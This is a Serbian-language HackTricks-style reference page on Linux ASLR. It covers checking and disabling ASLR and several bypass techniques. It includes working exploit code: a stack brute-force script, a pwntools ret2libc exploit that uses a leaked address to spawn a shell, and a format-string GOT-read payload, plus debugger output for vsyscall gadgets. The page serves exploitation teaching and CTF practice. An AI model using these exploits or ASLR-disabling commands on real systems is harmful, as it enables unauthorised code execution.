284 lines
13 KiB
Markdown

# ASLR
{{#include ../../../banners/hacktricks-training.md}}
## Osnovne Informacije
**Address Space Layout Randomization (ASLR)** je tehnika bezbednosti koja se koristi u operativnim sistemima za **randomizaciju memorijskih adresa** koje koriste sistemski i aplikativni procesi. Na taj način, značajno otežava napadaču da predvidi lokaciju specifičnih procesa i podataka, kao što su stek, heap i biblioteke, čime se ublažavaju određene vrste eksploatacija, posebno prelivanja bafera.
### **Proveravanje ASLR Statusa**
Da biste **proverili** ASLR status na Linux sistemu, možete pročitati vrednost iz **`/proc/sys/kernel/randomize_va_space`** datoteke. Vrednost koja se čuva u ovoj datoteci određuje tip ASLR-a koji se primenjuje:
- **0**: Nema randomizacije. Sve je statično.
- **1**: Konzervativna randomizacija. Deljene biblioteke, stek, mmap(), VDSO stranica su randomizovane.
- **2**: Potpuna randomizacija. Pored elemenata randomizovanih konzervativnom randomizacijom, memorija upravljana kroz `brk()` je randomizovana.
Možete proveriti ASLR status sledećom komandom:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Onemogućavanje ASLR-a**
Da biste **onemogućili** ASLR, postavite vrednost `/proc/sys/kernel/randomize_va_space` na **0**. Onemogućavanje ASLR-a se generalno ne preporučuje van scenarija testiranja ili debagovanja. Evo kako možete to da uradite:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Možete takođe onemogućiti ASLR za izvršavanje sa:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Omogućavanje ASLR**
Da biste **omogućili** ASLR, možete napisati vrednost **2** u datoteku `/proc/sys/kernel/randomize_va_space`. To obično zahteva root privilegije. Omogućavanje pune randomizacije može se izvršiti sledećom komandom:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Persistencija kroz ponovna pokretanja**
Promene napravljene sa `echo` komandama su privremene i biće resetovane prilikom ponovnog pokretanja. Da biste promenu učinili trajnom, potrebno je da uredite datoteku `/etc/sysctl.conf` i dodate ili izmenite sledeću liniju:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
Nakon uređivanja `/etc/sysctl.conf`, primenite promene sa:
```bash
sudo sysctl -p
```
Ovo će osigurati da vaša ASLR podešavanja ostanu sačuvana između ponovnih pokretanja.
## **Obilaženja**
### 32bit brute-forcing
PaX deli adresni prostor procesa na **3 grupe**:
- **Kod i podaci** (inicijalizovani i neinicijalizovani): `.text`, `.data`, i `.bss` —> **16 bita** entropije u `delta_exec` varijabli. Ova varijabla se nasumično inicijalizuje sa svakim procesom i dodaje se početnim adresama.
- **Memorija** alocirana pomoću `mmap()` i **deljene biblioteke** —> **16 bita**, nazvana `delta_mmap`.
- **Stek** —> **24 bita**, nazvan `delta_stack`. Međutim, efektivno koristi **11 bita** (od 10. do 20. bajta uključivo), poravnato na **16 bajtova** —> Ovo rezultira sa **524,288 mogućih pravih adresa steka**.
Prethodni podaci su za 32-bitne sisteme, a smanjena konačna entropija omogućava obilaženje ASLR ponovnim pokušajem izvršavanja iznova i iznova dok se eksploatacija ne završi uspešno.
#### Ideje za brute-force:
- Ako imate dovoljno veliki overflow da smestite **veliki NOP sled pre shellcode-a**, mogli biste jednostavno da brute-force-ujete adrese na steku dok tok **ne preskoči neki deo NOP sled-a**.
- Druga opcija za ovo, u slučaju da overflow nije toliko veliki i da se eksploatacija može pokrenuti lokalno, je da **dodate NOP sled i shellcode u promenljivu okruženja**.
- Ako je eksploatacija lokalna, možete pokušati da brute-force-ujete osnovnu adresu libc (korisno za 32bitne sisteme):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- Ako napadate udaljeni server, možete pokušati da **brute-force-ujete adresu funkcije `libc` `usleep`**, prosledjujući kao argument 10 (na primer). Ako u nekom trenutku **serveru treba dodatnih 10s da odgovori**, pronašli ste adresu ove funkcije.
> [!TIP]
> Na 64-bitnim sistemima entropija je mnogo veća i ovo ne bi trebalo da bude moguće.
### 64-bitno brute-forcing staka
Moguće je zauzeti veliki deo staka sa env varijablama i zatim pokušati da zloupotrebite binarni kod stotine/hiljade puta lokalno da biste ga iskoristili.\
Sledeći kod pokazuje kako je moguće **samo odabrati adresu u staku** i svaka **nekoliko stotina izvršenja** ta adresa će sadržati **NOP instrukciju**:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
```python
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Lokalne informacije (`/proc/[pid]/stat`)
Datoteka **`/proc/[pid]/stat`** procesa je uvek čitljiva za sve i **sadrži zanimljive** informacije kao što su:
- **startcode** & **endcode**: Adrese iznad i ispod sa **TEKSTOM** binarnog fajla
- **startstack**: Adresa početka **stack-a**
- **start_data** & **end_data**: Adrese iznad i ispod gde se nalazi **BSS**
- **kstkesp** & **kstkeip**: Trenutne **ESP** i **EIP** adrese
- **arg_start** & **arg_end**: Adrese iznad i ispod gde se nalaze **CLI argumenti**.
- **env_start** & **env_end**: Adrese iznad i ispod gde se nalaze **env promenljive**.
Dakle, ako je napadač na istom računaru kao i binarni fajl koji se eksploatiše i ovaj binarni fajl ne očekuje prelivanje iz sirovih argumenata, već iz različitog **ulaza koji se može kreirati nakon čitanja ove datoteke**. Moguće je da napadač **dobije neke adrese iz ove datoteke i konstruira ofsete za eksploataciju**.
> [!TIP]
> Za više informacija o ovoj datoteci proverite [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) pretražujući `/proc/pid/stat`
### Imati leak
- **Izazov je dati leak**
Ako dobijete leak (laki CTF izazovi), možete izračunati ofsete iz njega (pretpostavljajući na primer da znate tačnu verziju libc koja se koristi u sistemu koji eksploatišete). Ovaj primer eksploatacije je izvučen iz [**primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (proverite tu stranicu za više detalja):
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
- **ret2plt**
Zloupotrebljavajući buffer overflow, bilo bi moguće iskoristiti **ret2plt** da se exfiltrira adresa funkcije iz libc. Proverite:
{{#ref}}
ret2plt.md
{{#endref}}
- **Format Strings Arbitrary Read**
Baš kao u ret2plt, ako imate proizvoljno čitanje putem ranjivosti format stringova, moguće je exfiltrirati adresu **libc funkcije** iz GOT-a. Sledeći [**primer je odavde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Možete pronaći više informacija o Format Strings proizvoljnom čitanju u:
{{#ref}}
../../format-strings/
{{#endref}}
### Ret2ret & Ret2pop
Pokušajte da zaobiđete ASLR koristeći adrese unutar steka:
{{#ref}}
ret2ret.md
{{#endref}}
### vsyscall
Mehanizam **`vsyscall`** služi za poboljšanje performansi omogućavajući izvršavanje određenih sistemskih poziva u korisničkom prostoru, iako su oni suštinski deo jezgra. Ključna prednost **vsyscall-a** leži u njihovim **fiksnim adresama**, koje nisu podložne **ASLR** (Randomizacija rasporeda adresnog prostora). Ova fiksna priroda znači da napadači ne zahtevaju ranjivost na curenje informacija da bi odredili svoje adrese i koristili ih u eksploataciji.\
Međutim, ovde se neće naći super zanimljivi gadgeti (iako je, na primer, moguće dobiti ekvivalent `ret;`)
(Sledeći primer i kod su [**iz ovog izveštaja**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
Na primer, napadač može koristiti adresu `0xffffffffff600800` unutar eksploatacije. Dok pokušaj da se direktno skoči na `ret` instrukciju može dovesti do nestabilnosti ili rušenja nakon izvršavanja nekoliko gadgeta, skakanje na početak `syscall`-a koji pruža **vsyscall** sekcija može biti uspešno. Pažljivim postavljanjem **ROP** gadgeta koji vodi izvršavanje na ovu **vsyscall** adresu, napadač može postići izvršavanje koda bez potrebe da zaobiđe **ASLR** za ovaj deo eksploatacije.
```
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Napomena, stoga, kako bi moglo biti moguće **zaobići ASLR koristeći vdso** ako je kernel kompajliran sa CONFIG_COMPAT_VDSO, jer adresa vdso neće biti nasumična. Za više informacija proverite:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}